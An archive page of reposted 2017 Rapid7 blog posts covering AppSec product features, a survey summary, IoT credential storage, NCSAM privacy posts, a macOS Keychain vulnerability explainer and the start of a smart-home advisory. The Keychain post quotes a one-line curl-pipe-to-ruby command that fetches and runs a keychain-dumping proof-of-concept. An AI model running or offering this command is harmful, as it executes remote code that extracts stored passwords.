Category Archives: Rapid7

  • 0

InsightAppSec Feature Highlights: On-Premise Engines, JIRA Integration, and More

Category : Rapid7

Powerful Yet Simple DAST Scanning Gets Even Better

InsightAppSec, Rapid7’s cloud-powered web application security testing solution, has added three powerful new features:

  • On-premise scan engines
  • JIRA integration
  • Scan Activity view

Test Your Internal Applications and Reduce Your Risk

Web application security testing shouldn’t be limited to external, internet-facing production applications. Testing only in production means greater risk and the increased likelihood that vulnerabilities are present when attackers are actively scanning for opportunities. Security assessments of your applications, done earlier in the development cycle prior to production, mean security issues are much more likely to get fixed before they’re exposed to the internet.

InsightAppSec now has the ability to scan internal, non-internet-facing applications (like pre-production apps still under development or testing) with the assistance of a lightweight scan engine deployed on-premise. The engine installer can be downloaded directly from InsightAppSec, and installed and paired in minutes. When an on-premise scan engine is used, scan results are sent to the Insight platform, to be stored and visible alongside all other scan results.

With on-premise engines, you can assess the security of your applications earlier in the Software Development Lifecycle (SDLC), addressing issues before they hit production and avoiding undue security risk.

Don’t Let Another App Vulnerability Get Lost in an Inbox

Remediating common application vulnerabilities requires careful coordination and collaboration between security and development teams. Even today, results of application security assessments are often delivered to development teams in some outdated form, like a PDF attached to an email. Emails get lost, don’t get opened for days or weeks, or are simply ignored. The longer the development team is unaware of a security issue in their application, the harder it gets to fix that vulnerability; software design choices and code changes accumulate, and all that work might need to be refactored or re-done to fix the underlying cause of the vulnerability.

InsightAppSec now integrates with Atlassian’s JIRA to remedy this problem. Security teams can now export vulnerabilities found in InsightAppSec scans directly into the development team’s JIRA project. With this integration, developers will see security bugs right next to their functional bugs and development tasks, thus increasing the likelihood that security issues will be quickly remediated. This integration creates a powerful input into the Software Development Lifecycle.

All the Scans, at a Glance

InsightAppSec was designed to scale to meet the needs of all of our customers, from smaller organizations to large enterprises with hundreds or even thousands of applications. As the pace of development accelerates and release cycles get shorter, web application scanning needs to occur more regularly and frequently. The volume of scans will naturally grow as a result, and managing all those scans could become a time-consuming, cumbersome task without the right solution in place.

InsightAppSec’s new Scanning Activity view allows users to see, at a glance, the status of currently running and past scans, with a trend chart that displays progress of application security assessments over time. The view also makes it easy to zoom in on a particular period of time to see how many scans were run, the number of vulnerabilities found, how long the scans took, and the overall risk of an app based on the scan results. With this new view, security teams will save precious time in tracking and managing scans, freeing them up to pursue more critical tasks.

Whether you have a fully mature appsec program or are just starting out, Rapid7 can help you reduce your application security risk with several products and services designed to meet your needs. Check out our website for more information.

Source: https://blog.rapid7.com/2017/11/28/insightappsec-feature-highlights-on-premise-engines-jira-integration-and-more/

Author:  Alfred Chung


  • 0

Takeaways from 2017 SANS State of Application Security Survey

Category : Rapid7

The training and research organization SANS recently released their 2017 State of Application Security survey results. The new report proves that now, more than ever, organizations need to invest in solutions that automate application security testing in order to reap benefits like:

  • Identifying security vulnerabilities earlier in the development cycle, when they’re cheaper to fix.
  • Reduced friction between Security and Development teams.
  • Improved ability for Security to keep pace with the rapid rate of application development.

Here are some key takeaways from the report:

The Speed of Application Development Is Accelerating

According to the survey results, a surprising 43% of organizations are pushing out changes to their applications weekly, daily, or continuously. A number of technologies and trends are seeing widespread adoption, allowing development teams to release faster than ever. Agile software development practices, the move to the cloud, application containersdevops, continuous integration, and infrastructure-as-code are all contributing factors. As development accelerates, security unfortunately is finding it difficult to keep up.

Development Is Moving Faster, But What About Security?

Even though application development cycles are getting shorter, web application security testing is still occurring far too infrequently. 24% of organizations security test their applications once a year or less, and 10% are still not testing or assessing their business-critical applications at all. By far, the most common method of assessing the security of applications is internal penetration testing (66% of survey respondents), followed by penetration testing as a service]. Pen testing, although critical, occurs far too infrequently and is often too manual a process to be able to keep up with the rate at which developers are updating their applications.

So How are Leading Security Organizations Keeping Pace with Development?

Just to keep up, security teams are leaning heavily on automation to security test their applications. This means:

  • Static Application Security Testing (SAST) integrated into automated build and in the developer’s IDE’s to catch vulnerabilities on the fly.
  • Automated software composition analysis (SCA) to search for known vulnerabilities in open source and third party libraries.
  • Container vulnerability and security scanning.
  • Dynamic Application Security testing (DAST) scans run automatically in the continuous integration pipeline, alongside functional tests.

There are some trade-offs with automation; in order to have security assessments run quickly enough to not hinder the pace of development, the assessments typically are not comprehensive and focus mainly on critical vulnerabilities. Periodic pen testing, in-depth manual reviews, configuration audits, and deep web app scanning are still required to find vulnerabilities missed in end-to-end automated workflows.

What’s Rapid7’s Take?

Rapid7 is embracing automation in a big way, and we see it as a critical component of securing the modern network and bridging the gap between Security, IT, and Development teams. Rapid7’s application security solutions can be integrated into the software development lifecycle, so that scans are run automatically as part of the software delivery pipeline. To learn more, visit our solutions page.

Click here to download the full 2017 SANS State of Application Security Report.

Source: https://blog.rapid7.com/2017/11/14/takeaways-from-2017-sans-state-of-application-security-survey/

Author: Alfred Chung


  • 0

Testing Developer Security with Metasploit Pro Task Chains

Category : Rapid7

In this modern age, technology continues to make inroads into all sorts of industries. Everything from smartphones to late-model automobiles to internet-connected toasters requires software to operate, and this proliferation of software has brought along gaggles of software developers with their tools-of-the-trade. All this technology —not to mention the people utilizing it— can result in an increased attack surface for organizations doing software development.

In this blog post, we’ll explore how to use a custom resource script in a Metasploit Pro task chain to check for vulnerabilities in tools and services related to software development. Because we will only be checking for the presence of vulnerabilities (and not actively exploiting vulnerabilities), the task chain we’ll create is safe to use in most every environment.

Uploading a Resource Script to Metasploit Pro

Before we set up a task chain, we need to upload our custom resource scripts to Metasploit Pro.

NOTE: Metasploit Pro versions 4.14.1-2017103001 and higher already have the dev_checks.rc resource script, so you can skip this step and go right onto the next one.

For this task chain, we have one resource script to upload:

  • dev_checks.rc: this script checks for vulnerable NodeJS, distcc, Jenkins, etc. instances

Click the above link to the script and download it to your system where Metasploit Pro is installed.

Next, we’ll need to import this resource script into Metasploit Pro. Go to your workspace and click on the Modules tab. You will see the Resource Scripts option as follows:

Click it to enter the Resource Scripts view, then click on the Upload button:

Go ahead and select the dev_checks.rc resource script you just recently downloaded. The new script should appear on the list, and now you are ready to move on to creating the task chain.

Getting Started with Task Chains

Using the dev_checks.rc script, let’s set up a task chain to automate the following:

  • Do an Nmap scan to locate systems currently in your network
  • Launch the dev_checks.rc script to check for vulnerabilities on those systems
  • Generate a report of your findings

The Task Chains feature can be found in Pro’s workspace. It’s the last button next to Exports:

Once you click on that, the menu should expand. The Chainsoption is what you want to select:

We’ll need to create a new Task Chain, which you can do by clicking on the green New Task Chain button:

Now pick a name for your task chain. For our example, we’ll name it “Dev Checks”:

Task 1: Set up the Nmap Scan

We’ll want to perform an initial scan of the network to find out what systems are currently connected. In your newly-created task chain, click on the plus sign to assign the first task of the chain, and choose Scan, like this:

You’ll notice that the Scan task has a number of settings. It is recommended that you at least select/configure the following:

  • Target Scan: set the address range you want to scan.
  • Discovery Settings: uncheck all boxes in order to reduce scan time.

And we’re done configuring this task. Let’s move on to the next one.

Task 2: Set up the Dev Check Resource Script Task

To create the next task, click on the plus sign again and then choose Resource Scripts this time:

The Resource Script option will take you a list of all of the resource scripts available for use. Choose the dev_checks.rcscript:

Once you select a resource script, you will see that you can set parameters and also view the source code of the script. For dev_checks.rb, there are no parameters to set. And the source code is view-only, you cannot edit it.

At this point, you are all set for task 2. Let’s move on to task 3.

Task 3: Generating a Vulnerability Report

Our final step in the task chain is to create a validation report. The report will contain information about the potential vulnerabilities discovered. Click the plus sign and select Report, like this:

The ideal report type in this case should be Compromised and Vulnerable Hosts. The report options should be pretty self-explanatory, so we can leave it to you to decide.

The Report function also has a handy E-mail feature. If you wish to send the report to yourself and/or other people on the team automatically when the task chain completes, go ahead and check that as well.

Scheduling the Task Chain

The last step we need to do is actually set a timer for the task chain. If you scroll up on the page, you should see the Schedule Now button:

Click on this icon, you should see a pop-up like the following, which allows you to set up the time:

Exactly how frequently this task chain should run depends on your needs, including:

  • Number of hosts: the more there are, the longer the task chain will take to complete.
  • Network speed: a slow network can increase the time needed for the task chain to complete.

Saving the Task Chain

Finally, we are done configuring the task chain, so let’s save it! The Save button is located here:

After the task chain is saved, it’s ready to go! Now you have an automated process that will search your network for vulnerabilities related to software development, while you can stay productive doing something else.

Software development is happening in so many places these days, and this user base brings a set of applications and services which should not be overlooked when maintaining a proactive security stance. Remember: it only takes one shell to lead to a full network compromise for the attacker. You need some kind of automated process to always be on the lookout for weakness, and Metasploit Pro’s Task Chains feature is perfect for something that needs to be done repeatedly in order to save you time and money.

If you are a current Metasploit Pro user, we hope you enjoyed today’s blog post on how to use Task Chains to automate checking for vulnerabilities related to software development. For those who have never tried Pro, obviously you are missing out. To fix this problem, you can request a trial version of Metasploit Pro here.

Source: https://blog.rapid7.com/2017/11/06/testing-developer-security-with-metasploit-pro-task-chains/

Author: Pearce Berry


  • 0

IoT Mobile Application Credential Encryption

Category : Rapid7

As the IoT Research Lead at Rapid7, I have looked at a number of IoT devices and their associated ecosystem. During various research projects, I have found a common trend related to insecurities within the mobile applications. Nearly all applications I’ve tested have the following two issues:

  • Cleartext storage of credentials
  • Lack of SSL pinning

When considering the security risk and impact of these two issues, which is more critical? To me, cleartext storage of credentials adds the biggest risk and is more severe in terms of potential impact.

During examination of IoT mobile applications, it is common for me to find account information such as username, passwords, and WiFi passcodes stored in cleartext on mobile phones. When combined with the common problem of lost and stolen phones, we have a serious issue that makes it possible for the compromised user’s data to be used to compromise IoT service accounts, home automation, and WiFi networks. To my mind, this is one of the primary issues that needs to be addressed in the consumer IoT ecosystem.

Why do we see this issue at all, since standard methods are available to properly encrypt and store such data? It may be that mobile application programmers lack experience in secure coding, or that they are taking shortcuts thinking it does not matter. It definitely does matter!

What solutions are available? For Android applications, the documented solution is to leverage keystore. Keystore allows for the storage of cryptographic keys in a container to help mitigate against the extraction or unauthorized use of the credential data. If properly implemented, end users’ authentication data can be properly encrypted during storage. For iOS applications, the solution is the keychain service. Similar to the Android keystore, the iOS Keychain API provides a solution for application to safely store secret information by encrypting it before it is stored on the local file system. Both of these solutions provide standard methods for major mobile operating systems and at a minimum should be implemented on all mobile applications where critical data, such as authentication information, needs to be stored.

Unfortunately, we cannot always count on programmers and vendors to prioritize and build in security from the start. So what’s our part—how do we as end users take proactive steps to reduce our risk? The answer here is to always put a passcode on your phone. It’s not a 100% solution, but this simple step does reduce risk by making it more difficult for your data to be compromised if your mobile phone is lost or stolen. A little added security may make your phone itself more valuable than the data stored on it, hopefully leading the thief to just wipe it for you. It’s a small step with a big benefit, so we should all make sure to make it a priority.

Last but not least, I would like to point out a positive finding. I mentioned earlier that most IoT mobile applications I have looked at during my research were storing user information unencrypted. There were two notable exceptions of IoT mobile applications that I examined where the user data was properly protected, however:

Iris by Lowes
The Tile

It was encouraging to encounter IoT product manufacturers that have taken the time to address security concerns (at least user credential encryption) within their mobile applications. I hope to see more of this as IoT security awareness continues to improve.

Source: https://blog.rapid7.com/2017/10/23/iot-mobile-application-credential-encryption/

Author: Deral Heiland


  • 0

NCSAM Security Crash Diet, Week 3: Privacy and Backups

Category : Rapid7

Hey, I didn’t see you there (had my cameras and microphones turned off). Olivia here for week three of my month of extreme security diets for National Cyber Security Awareness Month. So far, I’ve taken Tod Beardsley’s advice for the most secure version recommendations, given it the ol’ college try (ie: decided some things were just not worth it), and netted out with a realistic version of the advice. Catch up on week one on maintenance here, and week two on travel and social sharing here.

For week three, I’ve taken on Privacy. “What does that even mean, Olivia?!” I imagine you’re shouting to your computer (my microphones are off, I can’t hear you, remember?). For the purpose of this diet, we’ve considered privacy to encompass location sharing, microphones, cameras, and taking a good, hard look at the sheer number of businesses who have my personal information (hint: woah).

Oh, the places you’ve been.

Before even volunteering for this experiment, I read this Fast Company article on anonymized location data. Let’s put aside the fact that if an attacker compromised my phone or car, location data would be just one element of the information about me they’d have. Unsurprisingly, even so-called “anonymous” location data still paints a pretty immediate and substantial picture of a life. Check out the article for just how easy it is to reverse engineer your whole life purely from the places you go.

For this week, I turned location data off entirely on my phone. Virtually all of my apps—LevelUp food-type apps, weather, Uber, ZipCar, sports, music, events, you name it—request location data, though many were already disabled. Most use location for the sake of personalization in the form of recommended concerts, food delivery area, local weather, etc. Social apps, as discussed last week, primarily use location for geo-tagging and geo-filters, although the marketing personalization is a factor there as well.

Google Maps, as a pedestrian in the city, was the most impactful for me this week. Like any sane person, you probably have location enabled at least here. (Should also note that I am notoriously bad at following directions, while somehow also overconfident in my directional instincts.) For the sake of science! I also tried to keep my goings-on normal—i.e., not avoiding things that would be complicated by having no idea where I was. Without it, I could still put in my location and destination and get standard directions in the form of a pirate map. However, like a ship on the high seas, I also had no actual idea where I was in relation to the ‘X’ if I took a wrong turn.

(pause here for my favorite pirate joke)
What’s a pirate’s favorite letter of the alphabet?
(pause for you to say “ARRRRGHHHHH,” my microphone’s still off, but hoping the outburst startled your neighbor)
Ahh, ya think it’s an ARRR but it’s really the SEA!
(pause for laughter, applause at my uncanny pirate accent)

Multiple wrong turns later, a kind friend commandeered the navigating with a location-enabled phone.

That said, the off-the-grid feeling that I got from knowing that none of my apps knew where I was combined with the plethora of “turn on location services” messages I got and ignored, felt goooood.

No photos, please.

Camera has a much shorter list of apps that request access—the obvious ones like Instagram and Snapchat, as well as several payment ones that use the camera to “scan” a credit card. Ease of use! Disabling camera was pretty low impact for me, but here’s a fun tidbit that muddies the waters on the location settings piece: privacy > camera handles how apps can use your camera, but location > camera handles whether your camera geotags all your photos. So even if your downloaded apps don’t use location or camera, the photos that you take can tell a location story as well. Just cancel that. (Ed note: if you’re interested in exactly how your stored photos can be used to track you, check out KrauseFx’s demo iPhone app).

Microphone’s list was shorter still—just Instagram, Snapchat, and Google Maps (voice commands?). I assume I’m not alone in noticing and reading about the creepiness of Instagram ads appearing immediately after having a verbal conversation about something, without any prior written mention/searches/clicks. In fact, it happened twice just days before beginning this exercise. Had a quick conversation about a meal delivery service and the exact service showed up in a friend’s Instagram feed, then later had an equally fleeting conversation about a personal shopping service and immediately got an ad for it that evening.

If the microphone targeting is that good/creepy, there’s no knowing what else is done with the other background conversations that aren’t identified as a product need/ marketing opportunity. It felt good knowing (thinking) that the microphone was off for the week, but definitely botched an intense carpool karaoke recording.

Unsubscribe.

Let me set the scene here by letting you know that prior to this week I had 35k+ emails in my personal inbox and 20k+ in my business email. I am neither a Categorizer nor am I (even close to) an Inbox-Zeroer, although I might argue that my inbox number has more zeroes in it, so who’s really winning?

Apart from the oxymoronic idea of a serene inbox, what are the security implications of having so many emails? Once again, it’s part preparation for worst-case scenario, and part thwart-the-evil-marketers. First, if your email is compromised, the more emails you have, the more material the attacker has to work with. Who emails you often, what kind of emails do you open and click on, what business do you conduct over email? All of these can be used to phish you—like fishing-with-an-f, attackers bait you into clicking/entering info by making a convincing replica of an email you’d expect to get. Boom, phish bait.

Second, the more emails you have the easier you are to market to. You’ve obviously subscribed to the communications that you receive from companies, and email clicks lead to more targeting around the internet and on other social media. Email services like Gmail also use all data collected while you’re logged into the Gsuite to target ads to you.

I am (admittedly, still working through) unsubscribing from email lists that I honestly don’t ever open. Deleting old ‘real’ emails, the ones with real information about me—not just where I like to shop or read the news—made a lower impact on my inbox number, but has an arguably higher impact on my security. While I don’t dream of having a skinny inbox in the foreseeable future… unsubscribing, deleting, and retiring anything older than two years is giving me that juice cleanse glow.

Backups and Downs

I promised that I would, as a demonstration of my commitment to this diet, factory reset my phone just for funsies/ to test my backups. Read more about why this step is important to your security maintenance back in week one. As expected, this was particularly nerve wracking—which is maybe a good indicator of how important it is to test your backups.

First, despite automatically backing up to iCloud the night prior, I did a manual back-up and logged into iCloud on my laptop to check on my contacts and photos especially. Still, the anxiety of tapping “erase all data and settings” and “are you sure?” and “P.S. this is permanent” and “enter your password so we really know you’re doing this on purpose” was akin to jumping out of a perfectly good airplane just to use a parachute (except I’d much rather do that again than this). Riding the high of adrenaline from the reset, started getting into the meat of the backup process…

phone-waiting-period

Learn from my mistakes

  1. When asked to create a password, I just entered my previous password. Bad idea. When I got to the decrypting my iCloud passwords step, my old iPhone password was required. Since my new and old password were the same, the poor little guy got very confused and I had to RE-reset. Two resets later, the “enter old iPhone password” is still getting tripped up.
  2. Wouldn’t recommend using this downtime for teeth whitening. You /will/ want a very large glass of red wine.

After I got through the steps of the restoration, it was just a wait-and-see as all my apps and data downloaded. Woke up several times during the night to check on it, continued panicking that my photos were the absolute last thing to appear, and yes, I do have 61 missed calls/voicemails. In the AM, opened Spotify (already logged in!) and had a quick celebration dance break that all my apps, texts, and photos were right where I left them. Take-away: as a key exercise, but something that’s definitely not for the faint of heart, consider this the cardio portion of the security diet.

Pop Quiz, Hot Shot

You don’t have to be going 50 mph+ to take it, in fact, it’d probably be safer if you weren’t. Your call, but speaking of speed, the quiz is super fast and word on the street is that Keanu is phish bait. Take our How Hackable Are You quiz here, in partnership with NBC’s The Today Show, to see how you compare. I’m a discerning technologist, nbd, no photos, please.

Source: https://blog.rapid7.com/2017/10/24/ncsam-security-crash-diet-week-3-privacy/

 


  • 0

NCSAM, A Personal Security Crash Diet

Category : Rapid7

Hey everyone! It’s October, and that means it’s time to kick off the 2017 National Cyber Security Awareness Month. NCSAM is an annual campaign to raise awareness of cyber security risks to improve online privacy and safety habits for public organizations, private companies, and individuals. If you’re in security, and have pretty much any family, you’ll probably appreciate how difficult it can be to inspire more secure habits when interacting with connected technology. Most everyone I know in security has a friend, a kid, a father-in-law, or other family member that, despite their most patient education efforts, refuses to lock their social media profiles, pick good passwords, or learn what 2FA is.

So, this year, we’re probing the boundaries of this consumer/infosec divide. We’re running a month-long experiment in designing a “crash security diet,” where we follow one lucky(?) Rapid7 employee around for the next few weeks and try out all the security advice that is commonly espoused, regardless if it’s followed or not. Our goal is to identify some easy, quick wins that are useful for regular, non-security-nerd people, as well as learn what’s realistic for normal people to actually adopt.

About Olivia

Our candidate for this security diet is “Olivia,” (not her real name), a mid-twenties professional in Boston, Massachusetts. Now, while Olivia works at Rapid7 — a company that does promote a certain level of security tech savvy — she’s not a researcher or hacker or anything like that. Her job functions, like most everyone, have some technical components, but after going over her day-to-day attitudes and lifestyle, both on and offline, she looks to be a pretty typical young urban American. She goes to work every day, uses a pretty standard compliment of social media services, and is constantly tethered to friends and family in the online world by her smartphone. That said, she pretty squarely fits in the WEIRDdemographic, so some of her experiences will be atypical for someone with a different personal and cultural background.

Setting Security Expectations

Rather than try to predict what’s useful and what’s not ahead of time, our plan here is to throw pretty much every bit of security advice at Olivia so she can test drive it all over the course of National Cyber Security Awareness Month. This will include things like making sure that internet-connected devices have the latest software and firmware, password management and password picking strategies, being mindful about location-based services, and reviewing social media sharing habits.

For every exercise, the goal will be to start off with the most secure possible configurations, and then ease up until things get reasonably comfortable. I expect that we’re going to find some new habits that are pretty easy — no conflict between security and usability — which will imply that the product or service in question is designed for actual humans with privacy and security in mind. Other exercises in securification will undoubtedly be frustrating fights against defaults that “just work” that are quietly leaking personal info all over the internet (social media defaults leap to mind) or provide poorly designed user experiences (I’m looking at you, anything-involving-encrypted-email-especially-PGP).

In the end, we’ll review what worked, what doesn’t, and hopefully have a handy list of what you can do over the coming holidays to help level-up your own friends and family with respect to sensible secure default settings and behaviors. It should be fun, frustrating, and enlightening — pretty much exactly like how I experience the security industry every day.

To get things started, I did a quick Q&A with Olivia to see where she’s at, and here’s what she had to say:

Tod: So, how “secure” do you think you are today, compared to the average person?

Olivia: Of course, working at a security company, I’d like to think I’m a bit more security aware than average. But alas, I know I also have a good deal of blind spots, which I’m sure these diets (and Tod) will be quick to point out. I’d say a 3.5/5.

Tod: And how “connected” do you think you are today?

Olivia: I’d say I’m pretttty well connected… I’ve got a lot of apps running, social media accounts (most of which I use actively), iPhone, laptops. You could say I’m a (cringe) typical millennial when it comes to connectivity. However, since I live in the city, I don’t own a car or home which rules out most non-phone/computer internet connected things (so no internet-connected cars, home automation, refrigerators, etc.). 4/5

Tod: Is there anything specific that you’re concerned about?

Olivia: I have a feeling there will definitely be some aspects of the security diet that will all but eliminate usability… and make life really difficult – so I’m very interested to see which of those I’ll expect and which will be a surprise. Stay tuned!

Tod: What’s your mother’s maiden name and the name of the street you grew up on?

Olivia: Nice try!

Source: https://blog.rapid7.com/2017/10/03/ncsam-a-personal-security-crash-diet/

Author: Tod Beardsley


  • 0

InsightOps – 2 minute overview

Category : Rapid7

A two-minute overview of Rapid7 InsightOps—your modern solution for infrastructure monitoring and asset interrogation. Learn more at http://r-7.co/2sQtINT.

 


  • 0

NCSAM, A Personal Security Crash Diet

Category : Rapid7

t’s October, and that means it’s time to kick off the 2017 National Cyber Security Awareness Month. NCSAM is an annual campaign to raise awareness of cyber security risks to improve online privacy and safety habits for public organizations, private companies, and individuals. If you’re in security, and have pretty much any family, you’ll probably appreciate how difficult it can be to inspire more secure habits when interacting with connected technology. Most everyone I know in security has a friend, a kid, a father-in-law, or other family member that, despite their most patient education efforts, refuses to lock their social media profiles, pick good passwords, or learn what 2FA is.

So, this year, we’re probing the boundaries of this consumer/infosec divide. We’re running a month-long experiment in designing a “crash security diet,” where we follow one lucky(?) Rapid7 employee around for the next few weeks and try out all the security advice that is commonly espoused, regardless if it’s followed or not. Our goal is to identify some easy, quick wins that are useful for regular, non-security-nerd people, as well as learn what’s realistic for normal people to actually adopt.

About Olivia

Our candidate for this security diet is “Olivia,” (not her real name), a mid-twenties professional in Boston, Massachusetts. Now, while Olivia works at Rapid7 — a company that does promote a certain level of security tech savvy — she’s not a researcher or hacker or anything like that. Her job functions, like most everyone, have some technical components, but after going over her day-to-day attitudes and lifestyle, both on and offline, she looks to be a pretty typical young urban American. She goes to work every day, uses a pretty standard compliment of social media services, and is constantly tethered to friends and family in the online world by her smartphone. That said, she pretty squarely fits in the WEIRD demographic, so some of her experiences will be atypical for someone with a different personal and cultural background.

Setting Security Expectations

Rather than try to predict what’s useful and what’s not ahead of time, our plan here is to throw pretty much every bit of security advice at Olivia so she can test drive it all over the course of National Cyber Security Awareness Month. This will include things like making sure that internet-connected devices have the latest software and firmware, password management and password picking strategies, being mindful about location-based services, and reviewing social media sharing habits.

For every exercise, the goal will be to start off with the most secure possible configurations, and then ease up until things get reasonably comfortable. I expect that we’re going to find some new habits that are pretty easy — no conflict between security and usability — which will imply that the product or service in question is designed for actual humans with privacy and security in mind. Other exercises in securification will undoubtedly be frustrating fights against defaults that “just work” that are quietly leaking personal info all over the internet (social media defaults leap to mind) or provide poorly designed user experiences (I’m looking at you, anything-involving-encrypted-email-especially-PGP).

In the end, we’ll review what worked, what doesn’t, and hopefully have a handy list of what you can do over the coming holidays to help level-up your own friends and family with respect to sensible secure default settings and behaviors. It should be fun, frustrating, and enlightening — pretty much exactly like how I experience the security industry every day.

To get things started, I did a quick Q&A with Olivia to see where she’s at, and here’s what she had to say:

Tod: So, how “secure” do you think you are today, compared to the average person?

Olivia: Of course, working at a security company, I’d like to think I’m a bit more security aware than average. But alas, I know I also have a good deal of blind spots, which I’m sure these diets (and Tod) will be quick to point out. I’d say a 3.5/5.

Tod: And how “connected” do you think you are today?

Olivia: I’d say I’m pretttty well connected… I’ve got a lot of apps running, social media accounts (most of which I use actively), iPhone, laptops. You could say I’m a (cringe) typical millennial when it comes to connectivity. However, since I live in the city, I don’t own a car or home which rules out most non-phone/computer internet connected things (so no internet-connected cars, home automation, refrigerators, etc.). 4/5

Tod: Is there anything specific that you’re concerned about?

Olivia: I have a feeling there will definitely be some aspects of the security diet that will all but eliminate usability… and make life really difficult – so I’m very interested to see which of those I’ll expect and which will be a surprise. Stay tuned!

Tod: What’s your mother’s maiden name and the name of the street you grew up on?

Olivia: Nice try!

Source: https://blog.rapid7.com/2017/10/03/ncsam-a-personal-security-crash-diet/


  • 0

macOS Keychain Security, What You Need To Know

Category : Rapid7

If you follow the infosec twitterverse or have been keeping an eye on macOS news sites, you’ve likely seen a tweet (with accompanying video) from Patrick Wardle (@patrickwardle) that purports to demonstrate dumping and exfiltration of something called the “keychain” without an associated privilege escalation prompt. Patrick also has a more in-depth Q&A blog post about the vulnerability.

Let’s pull back a bit to provide sufficient background on why you should be concerned.

What is the macOS Keychain?

Without going into fine-grained detail, the macOS Keychain is a secure password management system developed by Apple. It’s been around a while (back when capital letters ruled the day in “Mac OS”) and can hold virtually anything. It’s used to store website passwords, network share credentials, passphrases for wireless networks, and encrypted disk images; you can even use it to store notes securely.

A more “TL;DR” version of that is “The macOS Keychain likely has the passwords to all your email, social media, banking and other websites—as well as for local network shares and your WiFi.”

Most users access Keychain data through applications, but you can use the Keychain Access GUI utility to add, change, or delete entries. Here’s a sample dialog containing credentials for a fake application called (unimaginatively enough) “forexample”:

The password is not displayed by default. You need tick the “Show
password:” box and a prompt will appear:

Enter your system password and you’ll see the password:

That’s a central part of the Keychain — you provide authority for
accessing Keychain elements, even to the application that maintains the secrets for you.

Apple has also provided command-line access to work with the keychain via the security command. Here’s what the listing looks like for this example:

$ security find-generic-password -s forexample
keychain: "/Users/me/Library/Keychains/login.keychain-db"
version: 512
class: "genp"
attributes:
    0x00000007 <blob>="forexample"
    0x00000008 <blob>=<NULL>
    "acct"<blob>="superseekrit"
    "cdat"<timedate>=0x32303137303932363230313035305A00  "20170926201050Z\000"
    "crtr"<uint32>=<NULL>
    "cusi"<sint32>=<NULL>
    "desc"<blob>=<NULL>
    "gena"<blob>=<NULL>
    "icmt"<blob>=<NULL>
    "invi"<sint32>=<NULL>
    "mdat"<timedate>=0x32303137303932363230313035305A00  "20170926201050Z\000"
    "nega"<sint32>=<NULL>
    "prot"<blob>=<NULL>
    "scrp"<sint32>=<NULL>
    "svce"<blob>="forexample"
    "type"<uint32>=<NULL>

Again, the secret data is not visible.

As you may have surmised, Apple also provides programmatic access to the Keychain.

iOS, tvOS (etc) all use a similar keychain for storing secrets.

Before we jump into the news from September 25th, 2017, let’s fire up Apple’s Time Machine and go back about four years…

A (Very) Brief History of Keyjacking

Rapid7’s own Erran Carey put
together a proof-of-concept for “keyjacking” your Keychain a little over four years ago.

If you run:

curl -L https://raw.github.com/erran/keyjacker/master/keyjacker.rb | ruby

You’ll get prompted to unlock the keychain:

which will enable the Ruby script to decrypt all the secrets.

There’s another related, older vulnerability that involved using a bit more AppleScript to trick the system into allowing unfettered access to Keychain data (that vulnerability no
longer exists).

So, What’s Different Now?

Patrick’s video shows him running an unsigned application that was
downloaded from a remote source. The usual macOS prompts come up to warn you that running said apps is a bad idea and when you enable execution a dialog come up with a button. The user in the video (presumably Patrick) presses said button and some time passes, then a file with a full, cleartext export of the entire Keychain is scrolled through.

As indicated, many bad things had to happen before the secrets were revealed:

  • the Security System Preferences had to be modified to allow you to run unsigned third-party apps on your system
  • you had to download a program from some site or load/run it from USB (et al) drive
  • you had to say “OK” one more time to Apple’s warning that what you are about to do is a bad idea

Sure, registered/signed apps could perform the same malicious function,
but that’s less likely since Apple can tie the signed app to the
developer (or developer’s system) that created it.

What Can I Do?

It looks like this vulnerability has been around for a while. macOS Sierra and the just-released High Sierra are both vulnerable to this attack; El Capitan is also reported to be vulnerable.

Since you’re likely running El Capitan or Sierra, upgrading to High Sierra isn’t going to put you further at risk. In fact, High Sierra includes security patches and additional security features that make it worth the upgrade. Bottom line: don’t let this vulnerability alone prevent you from upgrading to High Sierra if you’re on El Capitan or Sierra. However, you might want to consider a completely fresh install versus an upgrade. Why? Read on!

macOS “power users” will not like the following advice, but you should consider performing a fresh install of High Sierra and starting from a completely fresh system, then migrating signed applications and data over. It’s the next bit that really hurts, though. Don’t install any unsigned third-party apps or any apps via MacPorts or Homebrew until Apple patches the vulnerability. Why? Well, there’s a chance Patrick is not the only one who found this vulnerability, and attackers may try to work up their own exploits before Apple has a chance to release a fix. In fact, they may already have (which is one reason we suggested not just doing an upgrade).

And, Apple is working on a fix — Patrick responsibly informed them — but there was no time to bake it in beforethis week’s official release. Using any unsigned third-party code could put your secrets at risk.You should also be wary of running signed code that you download outside the Mac App Store. Apple’s gatekeeping is not perfect, but it’s better than the total absence of gatekeeping that comes with downloads from uncontrolled websites.

Rapid7 researchers will be monitoring for other proof-of-concept (PoC) code that exploits this vulnerability (Patrick did not release his PoC code into the wild) and will be waiting and watching for Apple’s first macOS patch release — they released 10.13.1 betas to developers today — to fix this critical issue.

Source: https://blog.rapid7.com/2017/09/27/macos-keychain-security-what-you-need-to-know/

Author: Bob Rudis


  • 0

Multiple vulnerabilities in Wink and Insteon smart home systems

Category : Rapid7

Today we are announcing four issues affecting two popular home automation solutions: Wink’s Hub 2 and Insteon’s Hub. Neither vendor stored sensitive credentials securely on their associated Android apps. In addition, the Wink cloud-based management API does not properly expire and revoke authentication tokens, and the Insteon Hub uses an unencrypted radio transmission protocol for potentially sensitive security controls such as garage door locks.

As most of these issues have not yet been addressed by the vendors, users should ensure mobile devices enable full disk encryption if possible, and avoid the use of these products for sensitive applications until the vulnerabilities are patched. While the potential impact is high, these vulnerabilities are not exploitable over the internet: access to the user’s phone, or close proximity to connected devices in the replay case, is required for exploitation. This post provides additional details on the vulnerabilities and steps users can take to protect themselves.

Rapid7 ID CVE Product Vulnerability Status
R7-2017-19.1 CVE-2017-5249 Wink Android App Insecure Storage of Sensitive Information Patched in v6.3.0.28
R7-2017-19.2 n/a Wink API Insufficient Session Expiration Unpatched; fix planned
R7-2017-20.1 CVE-2017-5250 Insteon Hub Insecure Storage of Sensitive Information Unpatched
R7-2017-20.2 CVE-2017-5251 Insteon Hub Authentication Bypass by Capture-replay Unpatched

Wink: Android app authentication token storage and API authentication token revocation vulnerabilities

Two issues related to authentication were discovered in the Wink Android mobile application and related API:

  • CVE-2017-5249, R7-2017-19.1, CWE 922 (Insecure Storage of Sensitive Information): the OAuth token used by the Wink Android application to authorize user access was not stored in an encrypted and secure way.
